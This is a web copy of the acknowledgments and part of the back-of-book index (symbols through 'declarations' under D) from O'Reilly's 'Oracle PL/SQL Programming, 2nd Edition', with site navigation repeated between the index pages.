When Steven asked me if I would write a few chapters for this new edition of the book, I was, for once, speechless. Not long before, my citation of Steven as "one of my all-time heroes" had appeared on the back of his second book -- and here he was on the phone, asking me for help! It took me a long time -- about 1.2 seconds -- to give him an answer.

And now, untold hours of "is this a bug or a feature?" later, I'm even more delighted to have collaborated with Steven; not only do I appreciate his willingness to assume the risk of adding a second author to his magnum opus, but I have also thoroughly enjoyed his insightful reviews and astute criticisms of my text. My first acknowledgment goes to Steven.

There is no way that the Oracle8 material would have been acceptable for publication without a brilliant supporting cast. First, fellow consultant Fred Polizo of FP Systems in San Jose, California (fredp@ricochet.net), one of the finest C programmers I know, developed all of the C-based examples in the External Procedures chapter. He, like Steven and I, slogged through the beta, producing test after test and revision after revision of the material until it was just right -- and then came the production version! Words cannot express the respect I have for Fred's programming talents, nor the amazement I felt when I received immediate answers to questions emailed to him at 2 A.M. I think you'll find his crystal-clear C code to be both educational and immediately useful.

I second Steven's ode of gratitude to the folks at Oracle Corporation for their help with this edition, and there are two special thank yous from me. A major supporter of the entire effort was Donald Herkimer, who fielded question after question gracefully and tirelessly, even when it must have gotten way past the fun stage. Don works in Oracle's "Center of Excellence for Applications Development and Productivity with Object-oriented Technology" (they must have won the longest-name award!). When he didn't happen to have the answer himself, Don somehow knew the incantations required to extract answers from deep within the email jungle at Oracle. Ervan Darnell was a tremendous help with the chapter on Nested Tables and VARRAYs, gently convincing me to bury one of my sillier examples, and injecting a bit of precision into my treatment of some of the new SQL functions.

I'd also like to acknowledge Gary Cernosek, an old friend and OO wizard at Rational Corporation, for checking the sanity of the Object Types chapter; and my brother, Patrick Pribyl, C++ programmer extraordinaire, for doing the same. Separate conversations with longtime acquaintances Bill Watkins and Debra Luik were also very enlightening and helped shape the Object Types chapter.

Thanks also go to the staff and clients of my firm, DataCraft, who were more than patient while I went into writing mode. I appreciate their tolerance and moral support, especially from Leo and the rest of the gang.

But my most heartfelt gratitude has to go to my immediate family, for putting up with my writing into the wee hours ("Mommy, Daddy fell asleep at the computer again!") and remaining a constant source of love and good humor.

Previous: Comments and Questions | Oracle PL/SQL Programming, 2nd Edition | Next: I. Programming in PL/SQL
Comments and Questions | Book Index | I. Programming in PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: Symbols and Numbers

\:= (assignment) operator
2.1. The PL/SQL Character Set
4.4.3. Default Values
9.5. Assigning Values to and from Records
-- (comment indicator) : 2.5.1. Single-Line Comment Syntax
> (label delimeters) : 5.2.1. The GOTO Statement
' (quotation mark)
2.3.1. Embedding Single Quotes Inside a String
11.1.10. The REPLACE function
; (semicolon) : 2.4. The Semicolon Delimiter
/* and */ (comment block delimiters) : 2.5.2. Multiline Comment Syntax
|| (concatenation) operator
4.3.3. Function Results with NULL Arguments
11.1.3. The CONCAT function

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: A

ABS function : 13.1.1. The ABS function
absolute value : 13.1.1. The ABS function
abstract data types : (see ADTs)
abstraction : 18.1.5.3. Abstraction
access
to compiled code, tuning : 25.2. Tuning Access to Compiled Code
to data, tuning : 25.3. Tuning Access to Your Data
data structure, encapsulating : 1.7.2. Synchronize Program and Data Structures
to SQL, minimizing : 25.3.1. Use Package Data to Minimize SQL Access
ACCESS table, tuning : 25.2.3. Tune ACCESS$ Table to Reduce First Execution Time of Code
actual parameters : 15.6.3. Actual and Formal Parameters
Ada programming language : Preface
ADD_MONTHS function : 12.1.1. The ADD_MONTHS function
customizing : 12.2.1. Customizing the Behavior of ADD_MONTHS
adding collection elements : 19.4.3. Adding and Removing Elements
administration of Oracle databases : About the Contents
administration, Oracle/AQ : C.3.2. DBMS_AQADM (PL/SQL 8 Only)
ADTs (abstract datatypes)
(see also object types)
18.1.4.2. Classification
building : 22.6. Construct Abstract Data Types (ADTs)
advanced queuing : 1.4.7.2. Oracle/AQ, the Advanced Queueing Facility
ADVISE_COMMIT procedure : C.15.1. The ADVISE_COMMIT procedure
ADVISE_NOTHING procedure : C.15.2. The ADVISE_NOTHING procedure
ADVISE_ROLLBACK procedure : C.15.3. The ADVISE_ROLLBACK procedure
aggregate
assignment into rows : 10.6.3. Aggregate Assignment
operations
9.1.3.2. Aggregate operations
9.5.4. Aggregate Assignment
9.6.1.2. Records of the same type
of nested records : 9.7.3. Aggregate Assignments of Nested Records
values, combining with scalars : 17.8.2. Combining Scalar and Aggregate Values
aggregation : 18.1.4.3. Inheritance
alerts : (see DBMS_ALERT package)
algorithms, tuning : 25.4. Tuning Your Algorithms
aliases
column
6.7. Column Aliases in Cursors
9.3.2. Setting the Record's Column Names
directory : 13.2.1. The BFILENAME function
for cursor variables : 6.12.6.3. Cursor variable aliases
alignment of code : (see coding, layout of)
ALLOCATE_UNIQUE procedure : C.7.1. The ALLOCATE_UNIQUE procedure
ALTER SESSION command : 26.1.1. Enabling Program Units for Tracing
ALTER TABLE statement : 20.6. Schema Evolution
ALTER_COMPILE procedure : C.4.1. The ALTER_COMPILE procedure
ALTER_QUEUE procedure : C.3.2.4. The ALTER_QUEUE procedure
ANALYZE statement : 25.1. Analyzing Program Performance
ANALYZE_OBJECT procedure : C.4.2. The ANALYZE_OBJECT procedure
ANALYZE_SCHEMA procedure : C.16.1. The ANALYZE_SCHEMA procedure
anchored datatypes
1.6.1. Anchored declarations
4.5. Anchored Declarations
anchoring to subtypes : 4.6.3. Emulating Constrained Subtypes
angle brackets (>) as label delimiters : 5.2.1. The GOTO Statement
anonymous blocks : 15.3. The Anonymous PL/SQL Block
labels for : 15.3.6. Block Labels
nested : 15.3.4. Nested Blocks
in Oracle Tools : 15.3.3. Anonymous Blocks in the Oracle Tools
APPEND procedure : C.6.1. The APPEND procedure
applications, tuning : 25. Tuning PL/SQL Applications
access to compiled code : 25.2. Tuning Access to Compiled Code
access to data : 25.3. Tuning Access to Your Data
analyzing performance : 25.1. Analyzing Program Performance
optimizing algorithms : 25.4. Tuning Your Algorithms
AQ : (see advanced queuing)
arguments, trapping invalid : 22.2.4.1. Trap invalid argument values
arrays
(see also tables)
1.4.3.4. PL/SQL tables
building with tables : 10.9.4. Building Traditional Arrays with PL/SQL Tables
package for
(see also PSG_array package)
10.9.4.3. Features of the array package
variable arrays : 1.4.7.3. Variable arrays and nested tables
objects for : 18.1.2. Some Simple Examples
variable-size : (see VARRAYs)
ASCII function : 11.1.1. The ASCII function
assertion modules : 22.2.4. Use Assertion Modules to Validate Parameters and Assumptions
assigning objects : 18.4.1.2. Direct assignment
assignment (\:=) operator
2.1. The PL/SQL Character Set
4.4.3. Default Values
9.5. Assigning Values to and from Records
association operator for positional notation (=>) : 2.1. The PL/SQL Character Set
association, object : 18.1.4.3. Inheritance
atomics of PL/SQL language : 2.1. The PL/SQL Character Set
attributes, cursor
6.9. Cursor Attributes
6.12.2. Similarities to Static Cursors
attributes, object : 18.1.1. Terminology
collections as : 19.2.1.2. Collection as an attribute of an object type
dot notation for
18.3.4.1. Dots in data structures
18.3.4.3. Attribute or method?
object equality and : 18.3.6.2. Equality comparisons
authority, execute/run : (see execute authority)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: B

backups : 24.2.6. Document and Back Up Your Efforts
batch processing : 25.3.4. Take Advantage of DBMS_SQL Batch Processing
encrypting code and : 23.7.2. Working with Encrypted Code
BEGIN_DISCRETE_TRANSACTION procedure : C.15.14. The BEGIN_DISCRETE_TRANSACTION procedure
BFILE datatype
1.4.7.6. Large object support
4.2.7.7. Working with BFILEs
example of using : 20.8. Postscript: Using the BFILE Datatype
BFILENAME function
4.2.7.7. Working with BFILEs
13.2.1. The BFILENAME function
binary data : (see RAW datatype)
BINARY_INTEGER datatype
4.2.1.1. Binary integer datatypes
25.4.5. Use PLS_INTEGER for All Integer Operations
for table declaration : 10.4.1. Defining the Table TYPE
BIND_ARRAY program : 25.3.4. Take Advantage of DBMS_SQL Batch Processing
BIND_VARIABLE procedure : C.14.2. The BIND_VARIABLE procedure
blended access : 10.9.5.6. Performance impact of blended access
BLOB datatype
1.4.7.6. Large object support
4.2.7.2. The BLOB datatype
EMPTY_BLOB function : 13.2.2. The EMPTY_BLOB function
block comments : 2.5.2. Multiline Comment Syntax
blocks
(see also modules)
2.7. Block Structure
15. Procedures and Functions
anonymous : 15.3. The Anonymous PL/SQL Block
constructing : 15.2.1. Sequence of Section Construction
cursors in : 15.3.5.4. Cursor scope
labels for : 15.3.6. Block Labels
local : 15.7. Local Modules
nested
15.3.4. Nested Blocks
15.3.5.2. Scope and nested blocks
parameters of : 15.6. Parameters
Booch diagram : 16.2.4. Public and Private Package Elements
Boolean
datatype : 4.2.4. The Boolean Datatype
functions returning : 15.5.4.1. Functions without parameters
literals : 2.3.3. Boolean Literals
as parameters : 22.7.2. Use Self-Identifying Parameters (Avoid Boolean Values)
variables in IF statements : (see IF statements)
branching with exceptions : 1.7.5. Structured Code and Other Best Practices
BROKEN procedure : C.5.1. The BROKEN procedure
built-in
collection methods : 19.6. Collection Built-Ins
functionality, taking advantage of : 1.7.1. Write as Little Code as Possible
package, reference on : C. Built-In Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: C

calendar : (see date)
case
consistency of : 22.7.4. Ensure Case Consistency of Parameters
INITCAP function : 11.1.4. The INITCAP function
LOWER function : 11.1.7. The LOWER function
and readability : 3.1.2. Using Case to Aid Readability
sensitivity
2.1. The PL/SQL Character Set
2.3. Literals
UPPER function : 11.1.16. The UPPER function
CAST procedure
object views and : 20.1. Example: Using Object Views
CAST pseudo-function : 19.5.2. The CAST Pseudo-function
casting collections : 19.5.2.1. Casting a named collection
CDE : (see Cooperative Development Environment)
CEIL (ceiling) function : 13.1.6. The CEIL function
century : (see date)
CHANGE procedure : C.5.2. The CHANGE procedure
CHAR datatype
2.3. Literals
4.2.3.1. The CHAR datatype
converting to VARCHAR2 : 4.2.3.2. The VARCHAR2 and VARCHAR datatypes
converting to/from ROWID
14.2.1. The CHARTOROWID function
14.2.5. The ROWIDTOCHAR function
with LENGTH function : 11.1.6. The LENGTH function
character datatypes, in overloaded modules : 15.8.4. Restrictions on Overloading
character functions : 11. Character Functions
character sets : 14.2.2. The CONVERT function
characters
adding to strings : 11.1.11. The RPAD function
converting to numbers, package for : 17.8.7. Recursive Processing in a SQL Statement
datatypes for : 4.2.3. Character Datatypes
extracting from strings : 11.1.14. The SUBSTR function
NLS datatypes for : 4.2.6. NLS Character Datatypes
replacing in strings
11.1.10. The REPLACE function
11.1.15. The TRANSLATE function
stripping from strings
11.1.12. The RTRIM function
11.1.9. The LTRIM function
word wrap : 11.2.2. Implementing Word Wrap for Long Text
CHARSETFORM property : 21.4.3.4. CHARSETID and CHARSETFORM properties
CHARSETID property : 21.4.3.4. CHARSETID and CHARSETFORM properties
CHARTOROWID function : 14.2.1. The CHARTOROWID function
checking for NULL values : 4.3.2. Checking for NULL Values
child block : (see nested blocks)
child records : (see records)
CHR function : 11.1.2. The CHR function
class instances : 18.1.4.2. Classification
classes : (see object types)
classification of objects : 18.1.4.2. Classification
clearing tables : 10.7. Clearing the PL/SQL Table
client-side SQL : 25.3.3. Avoid Client-Side SQL
CLOB datatype
1.4.7.6. Large object support
4.2.7.3. The CLOB datatype
EMPTY_CLOB function : 13.2.3. The EMPTY_CLOB function
clock : (see time)
CLOSE statement
(see also cursors)
6.2.2. Cursor Operations
6.8. Closing Cursors
CLOSE_CURSOR procedure : C.14.3. The CLOSE_CURSOR procedure
CLOSE_DATABASE_LINK procedure : C.12.1. The CLOSE_DATABASE_LINK procedure
closing cursors : 6.8. Closing Cursors
code
compiled, tuning access to : 25.2. Tuning Access to Compiled Code
critical, pinning into SGA : 25.2.2. Pin Critical Code into the SGA
encrypting : 23.7. Encrypting Stored Code
memory-based architecture : 23.1.3. Memory-Based Architecture of PL/SQL Code
procedural, avoiding : 25.3.5. Avoid Procedural Code When Possible
repetetive : (see redundancy)
reusing : 1.7.1. Write as Little Code as Possible
shared, executing : 23.1. Executing Stored Code
structuring of : 1.7.5. Structured Code and Other Best Practices
style of : 1.7.4. Standardize Your PL/SQL Development Environment
testing : 24.2.5. Change and Test One Area of Code at a Time
coding : 1.2. The Concept of Programming in Oracle Applications
analyzing size of : 23.6.3. Analyzing the Size of PL/SQL Code
anticipating errors : (see exceptions)
avoiding repetitive : 22.3. Take Full Advantage of Local Modularization
comments in : (see comments)
considering parameter case : 22.7.4. Ensure Case Consistency of Parameters
creating independent modules : 22.5. Create Independent Modules
cross-referencing source code : 23.6.5. Cross-Referencing Source Code
in databases : 23. Managing Code in the Database
documenting : 24.2.6. Document and Back Up Your Efforts
errors : (see errors; exceptions)
finding strings in : 23.6.4. Displaying and Searching Source Code
hints for effective
1.5. Advice for Oracle Programmers
3. Effective Coding Style
4.2.8.3. Drawbacks of implicit conversions
22. Code Design Tips
commenting : 3.6. Using Comments Effectively
exception handling : 8.10. RAISE Nothing but Exceptions
IF statements : 5.1.4. Nested IF Statements
loops : 7.7. Tips for PL/SQL Loops
nested records : 9.7.1. Example of Nested Records
parameters : 22.7. Tips for Parameter Design
records : 9.1.3.3. Leaner, cleaner code
increasing readability of code : 5.2.2.1. Improving the readability of your program
layout of : 3.1. Fundamentals of Effective Layout
recursive processing : 17.8.7. Recursive Processing in a SQL Statement
removing unused variables : 4.7.6. Remove Unused Variables from Programs
sequential processing : 17.8.6. Sequential Processing Against a Column's Value
simplifying logic with variables : 4.7.9. Use Variables to Hide Complex Logic
testing programs : 2.5.2. Multiline Comment Syntax
collections
adding/removing elements from : 19.4.3. Adding and Removing Elements
built-in methods for : 19.6. Collection Built-Ins
casting : 19.5.2.1. Casting a named collection
choosing which kind to use : 19.9. Which Collection Type Should I Use?
collection variables
19.2.2.1. Collection variables
19.4.1. Initializing Collection Variables
comparing : 19.4.4. Comparing Collections
creating : 19.2. Creating the New Collections
data dictionary entries for : 19.8.2. Data Dictionary
declaring as datatype : 19.2.2. Collections in PL/SQL
index-by tables : (see index-by tables)
nested tables : (see nested tables)
passing arguments of : 19.8.3. Call by Reference or Call by Value
PL/SQL-to-server integration example : 19.7. Example: PL/SQL-to-Server Integration
privileges : 19.8.1. Privileges
pseudo-functions : 19.5. Collection Pseudo-Functions
types of : 19.1. Types of Collections
VARRAYs : (see VARRAYs)
COLUMN_VALUE procedure : C.14.4. The COLUMN_VALUE procedure
columns
(see also records)
9.1.1. Different Types of Records
abbreviations for : 3.2. Formatting SQL Statements
aliases for
3.2. Formatting SQL Statements
6.7. Column Aliases in Cursors
9.3.2. Setting the Record's Column Names
BFILE, initializing : 13.2.1. The BFILENAME function
choosing for cursor-based record : 9.3.1. Choosing Columns for a Cursor Record
collections as : 19.2.1.1. Collection as a "column" in a conventional table
collections as datatypes for : 19.1. Types of Collections
names for : 1.7.5. Structured Code and Other Best Practices
naming procedure : 17.6. Column/Function Name Precedence
objects for : 18.1.2. Some Simple Examples
VALUE operator with : 18.4.2.3. VALUE
partial values of : 17.8.5. GROUP BY Partial Column Values
represented by variables : 4.7.7. Use %TYPE When a Variable Represents a Column
sequential processing against value : 17.8.6. Sequential Processing Against a Column's Value
synchronization with : 4.5.1.1. Synchronization with database columns
where OIDS are stored : 18.4.2.1. Object identifiers (OIDs)
COMMA_TO_TABLE procedure : C.16.2. The COMMA_TO_TABLE procedure
COMMENT keyword : 6.1.1. The COMMIT Statement
comments : 2.5. Comments
associated with transactions : 6.1.1. The COMMIT Statement
describing parameters : 22.7.1. Document All Parameters and Their Functions
encrypted code and : 23.7.3. Impact of Encrypting Code
symbols for : 2.1. The PL/SQL Character Set
using effectively : 3.6. Using Comments Effectively
COMMIT procedure
(see also DBMS_PIPE)
C.10. DBMS_PIPE
C.15.4. The COMMIT procedure
COMMIT statement
6.1.1. The COMMIT Statement
6.11.1. Releasing Locks with COMMIT
COMMIT_COMMENT procedure : C.15.5. The COMMIT_COMMENT procedure
COMMIT_FORCE procedure : C.15.6. The COMMIT_FORCE procedure
Companion Utilities Guide : A. What's on the Companion Disk?
COMPARE function : C.6.2. The COMPARE function
comparing
collections : 19.4.4. Comparing Collections
with NULL : 4.3. NULLs in PL/SQL
objects : 18.3.6. Comparing Objects
records : 9.1.6. Comparing Two Records
strings
4.2.3.2. The VARCHAR2 and VARCHAR datatypes
11.1.13. The SOUNDEX function
comparison methods : 18.3.1. About Object Types
compilation
automatic : 23.3.1. Interdependencies of Stored Objects
errors, viewing : 23.5.4. Viewing Compilation Errors in SQL*Plus
manual : 23.3.1. Interdependencies of Stored Objects
of modules : 4.5.2. Anchoring at Compile Time
COMPILE_SCHEMA procedure : C.16.3. The COMPILE_SCHEMA procedure
compiler constructs : (see pragmas)
compiling
forced : 20.7.3. Forcing Compilation
package specifications : 1.7.3. Center All Development Around Packages
compound symbols : (see symbols)
CONCAT function
4.3.3. Function Results with NULL Arguments
11.1.3. The CONCAT function
concatenation (||) operator
4.3.3. Function Results with NULL Arguments
11.1.3. The CONCAT function
concatenation, string
4.3.3. Function Results with NULL Arguments
11.1.3. The CONCAT function
conditional control structures : 5. Conditional and Sequential Control
formatting : 3.3. Formatting Control Structures
conditional loops : (see loops)
constants : (see literals; named constants; variables)
constrained datatypes
4.4.1. Constrained Declarations
4.6. Programmer-Defined Subtypes
4.6.3. Emulating Constrained Subtypes
constructor methods
18.2.2.1. PL/SQL usage
18.3.1. About Object Types
18.4.1.1. Constructors
constructors, initializing collections : 19.4.1.1. Initializing with a constructor
control structures, iterative : (see loops)
conventions, naming : 4.7.1. Establish Clear Variable Naming Conventions
conversion
and format models : 14.1. Conversion Formats
functions for : 14. Conversion Functions
implicit : 14. Conversion Functions
CONVERT function
C.7.2. The CONVERT function
14.2.2. The CONVERT function
converting
between datatypes : 4.2.8. Conversion Between Datatypes
datatypes
external procedures and : 21.4.1. Datatype Conversion
performance and : 25.4.7. Avoid Type Conversions When Possible
explicitly versus implicitly : 4.2.8.1. Explicit data conversions
to/from hexadecimal : 14.2.3. The HEXTORAW function
to row numbers : 10.5.1. Automatic Conversion of Row Number Expressions
triggers to procedures : 25.3.7. Keep Database Triggers Small
variables to named constants : 4.7.5. Convert Variables into Named Constants
Cooperative Development Environment (CDE) : 1.2. The Concept of Programming in Oracle Applications
COPY procedure : C.6.3. The COPY procedure
correlated subqueries : 17.8.3. Replacing Correlated Subqueries
correlation variables : 18.4.2.2. REFs
COS function : 13.1.7. The COS function
COSH function : 13.1.8. The COSH function
COUNT function
10.8.2.1. The COUNT function
19.6.1. COUNT
counted loops : (see numeric FOR loops)
counting substring occurrences : 11.2.4. Counting Substring Occurrences in Strings
CREATE command : 23.5.1. Creating Stored Objects
CREATE DIRECTORY command : 4.2.7.7. Working with BFILEs
CREATE LIBRARY command
21.2.3. Step 3: Issue CREATE LIBRARY Statement
21.3.1. CREATE LIBRARY: Creating the External Procedure Library
CREATE OR REPLACE command : 23.5.3. Changing Stored Objects
CREATE TYPE BODY statement : 18.3.3. CREATE TYPE BODY: Creating a Body
CREATE TYPE command : 19.2. Creating the New Collections
CREATE TYPE ... AS OBJECT statement : 19.2.1.2. Collection as an attribute of an object type
CREATE TYPE statement : 18.3.2. CREATE TYPE and DROP TYPE: Creating and Dropping Types
CREATE VIEW statement : 20.3.1. CREATE VIEW: Creating an Object View
CREATE_QUEUE procedure : C.3.2.3. The CREATE_QUEUE procedure
CREATE_QUEUE_TABLE procedure : C.3.2.1. The CREATE_QUEUE_TABLE procedure
cursor FOR loops : 7.4. The Cursor FOR Loop
formatting : 3.3.2. Formatting Loops
premature termination of : 7.7.2.1. Premature FOR loop termination
records in : 7.4.2. The Cursor FOR Loop Record
scope of : 7.6.2.1. Scope in FOR loops
CURSOR statement : 6.4. Declaring Cursors
cursor variables
aliases for : 6.12.6.3. Cursor variable aliases
as arguments : 6.12.7. Passing Cursor Variables as Arguments
attributes of : 6.12.2. Similarities to Static Cursors
scope of : 6.12.6.4. Scope of cursor object
CURSOR_ALREADY_OPEN exception : 8.3.1. Named System Exceptions
cursors : 6.2. Cursors in PL/SQL
attributes of : 6.9. Cursor Attributes
for cursor variables : 6.12.2. Similarities to Static Cursors
%FOUND : 6.9.1. The %FOUND Attribute
%ISOPEN
6.5. Opening Cursors
6.9.4. The %ISOPEN Attribute
%NOTFOUND
6.6.2. Fetching Past the Last Row
6.9.2. The %NOTFOUND Attribute
%ROWCOUNT : 6.9.3. The %ROWCOUNT Attribute
closing : 6.8. Closing Cursors
column aliases in : 6.7. Column Aliases in Cursors
corresponding to records : 9.1.4. Guidelines for Using Records
cursor variables
1.4.5.2. Cursor variables
6.2.1. Types of Cursors
6.12. Cursor Variables
restrictions on : 6.12.8. Cursor Variable Restrictions
database access based on : 1.4.3.8. Cursor-based access to the database
declaring : 6.4. Declaring Cursors
in packages : 16.3.2. Declaring Package Cursors
examples of using : 6.13. Working with Cursors
explicit
1.7.4. Standardize Your PL/SQL Development Environment
6.2.1. Types of Cursors
6.3.3. Explicit Cursors
FETCH INTO from : 9.5.3. FETCH INTO from an Explicit Cursor
explicit, fetching from : 1.7.2. Synchronize Program and Data Structures
fetching from : 6.6. Fetching from Cursors
FOR loops for
1.6.4. The cursor FOR loop
1.7.1. Write as Little Code as Possible
group functions in : 6.13.1.1. Inefficiency of group functions in cursors
identifier precedence : 6.4.3. Identifier Precedence in a Cursor
implicit
1.7.4. Standardize Your PL/SQL Development Environment
6.2.1. Types of Cursors
6.3.1. Implicit Cursors
6.9. Cursor Attributes
6.9.5. Implicit SQL Cursor Attributes
SELECT INTO from : 9.5.2. SELECT INTO from an Implicit Cursor
naming : 6.4.1. The Cursor Name
opening
6.2.2. Cursor Operations
6.5. Opening Cursors
6.10.2. Opening Cursors with Parameters
parameters of : 6.10. Cursor Parameters
records based on : 9.3. Cursor-Based Records
RETURN statement : 6.4.4. The Cursor RETURN Clause
scope of : 15.3.5.4. Cursor scope
SELECT FOR UPDATE statement : 6.11. SELECT FOR UPDATE in Cursors
specifying in packages : 16.3. The Package Specification
static : 6.2.1. Types of Cursors
variables in : 6.4.2. PL/SQL Variables in a Cursor

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: D

dangling REFs : 18.2.3. Adding Complex Data Structures
data
abstract datatypes : (see ADTs)
abstraction : 9.1.3.1. Data abstraction
combining scalars and aggregates : 17.8.2. Combining Scalar and Aggregate Values
denormalizing with nested records : 9.7.4. Denormalizing Program Data with Nested Records
errors by implicit cursors : 6.3.2.2. Vulnerability to data errors
from packages, performance and : 25.4.4. Use Package Data to Avoid Passing "Bulky" Parameter Values
global
(see also global variables)
16.1.4. Object Persistence
16.5.2. Global Within a Single Oracle Session
22.5.4. Avoid Global Variables and Data Structures
private : 16.5.4. Global Private Data
public : 16.5.3. Global Public Data
object model and : 18.1.5.4. Combining data with behavior
package : 16.5. Package Data
program : (see variables)
records : (see records)
tuning access to : 25.3. Tuning Access to Your Data
verifying : 24.2.7. Test All Assumptions
data abstraction : 18.1.5.3. Abstraction
data dictionary
external procedure entries : 21.6.1. Data Dictionary
for managing collections : 19.8.2. Data Dictionary
object types entries : 18.6.1. Data Dictionary
object views entries : 20.7.1. Data Dictionary
data structures, synchronizing : 1.7.2. Synchronize Program and Data Structures
databases
administration of : About the Contents
communication between sessions : C.10. DBMS_PIPE
cursor-based access to : 1.4.3.8. Cursor-based access to the database
events, receiving notification of : C.2. DBMS_ALERT
locking records : 6.11. SELECT FOR UPDATE in Cursors
managing code in : 23. Managing Code in the Database
structure for objects : 18.2.2.2. DDL usage
synchroniztion with columns : 4.5.1.1. Synchronization with database columns
triggers : (see triggers)
tuning of : About the Contents
datatypes : 4.2. Scalar Datatypes
abstract
(see abstract datatypes)
(see ADTs)
anchored
1.6.1. Anchored declarations
4.5. Anchored Declarations
collections as : 19.2.2. Collections in PL/SQL
comverting
external procedures and : 21.4.1. Datatype Conversion
constrained/unconstrained : 4.4.1. Constrained Declarations
converting
performance and : 25.4.7. Avoid Type Conversions When Possible
converting between
4.2.8. Conversion Between Datatypes
14. Conversion Functions
declaring in tables
10.4.1. Defining the Table TYPE
10.8.1. PL/SQL Tables of Records
external : 21.4.1. Datatype Conversion
for LOB variables : 1.4.7.6. Large object support
for LOBs : 4.2.7. LOB Datatypes
object : (see object types)
for overloaded modules : 15.8.4. Restrictions on Overloading
PL/SQL Version 2.0 : B.2.1. No Server-Side PL/SQL Datatypes
programmer-defined : (see subtypes)
standardizing with %TYPE : 4.7.8. Use %TYPE to Standardize Nondatabase Declarations
of stored functions parameters : 17.3. Requirements for Stored Functions in SQL
date
12. Date Functions
14.3.5. Building a Date Manager
changing millenia : 14.3.3. RR: Changing Millenia
converting strings to/from
14.1. Conversion Formats
14.2.6. The TO_CHAR function (date conversion)
14.2.8. The TO_DATE function
DATE datatype : 4.2.5. The Date-Time Datatype
range : 14.3.4. Using TO_CHAR to Create a Date Range
system : 12.1.7. The SYSDATE function
DATE datatype : 12. Date Functions
days : (see date)
DB2 data source : 4.2.3.1. The CHAR datatype
dbgextp.sql script : 21.6.2. Rules and Warnings About External Procedures
DBMS_AQ package : C.3. Oracle AQ, the Advanced Queueing Facility
DBMS_AQADM package : C.3.2. DBMS_AQADM (PL/SQL 8 Only)
DBMS_DDL package : C.4. DBMS_DDL
DBMS_DESCRIBE package
pinning in SGA shared pool : 25.2.2.1. Candidates for pinning in the shared pool
DBMS_JOB package
C.5. DBMS_ JOB
1.4.5.3. Job scheduling with DBMS_ JOB
DBMS_LOB package : C.6. DBMS_LOB (PL/SQL8 Only)
DBMS_LOCK package : C.7. DBMS_LOCK
DBMS_MAIL package : C.8. DBMS_MAIL
DBMS_OUTPUT package
C.9. DBMS_OUTPUT
10.9.3. Displaying a PL/SQL Table
26.5. Quick-and-Dirty Tracing
pinning in SGA shared pool : 25.2.2.1. Candidates for pinning in the shared pool
DBMS_PIPE package : C.10. DBMS_PIPE
DBMS_ROWID package : C.11. DBMS_ROWID (PL/SQL8 Only)
DBMS_SESSION package : C.12. DBMS_SESSION
DBMS_SHARED_POOL package : 25.2.2. Pin Critical Code into the SGA
DBMS_SNAPSHOT package : C.13. DBMS_SNAPSHOT
DBMS_SQL package : C.14. DBMS_SQL
batch processing : 25.3.4. Take Advantage of DBMS_SQL Batch Processing
DBMS_STANDARD package
pinning in SGA shared pool : 25.2.2.1. Candidates for pinning in the shared pool
DBMS_TRANSACTION package : C.15. DBMS_TRANSACTION
DBMS_UTILITY package : C.16. DBMS_UTILITY
GET_TIME Function : 25.1.1. Use the DBMS_UTILITY.GET_TIME Function
pinning in SGA shared pool : 25.2.2.1. Candidates for pinning in the shared pool
DDL (Data Definition Language)
DBMS_DDL package for : C.4. DBMS_DDL
object privileges and : 18.3.7.1. DDL
statements : 1.4.4.2. Support for DDL and dynamic SQL
debugging
2.5.2. Multiline Comment Syntax
24. Debugging PL/SQL
external procedures : 21.6.2. Rules and Warnings About External Procedures
finding code by line number : 23.6.6. Finding the Code for a Line Number
messages about, in packages : 24.2.9. Build Debugging Messages into Your Packages
strategies for : 24.2. Debugging Tips and Strategies
tracing PL/SQL execution : 26. Tracing PL/SQL Execution
DEC subtype : 4.2.2. Numeric Subtypes
decimal datatypes
4.2.1.2. Decimal numeric datatypes
4.2.2. Numeric Subtypes
DECIMAL subtype : 4.2.2. Numeric Subtypes
declarations
anchored
1.6.1. Anchored declarations
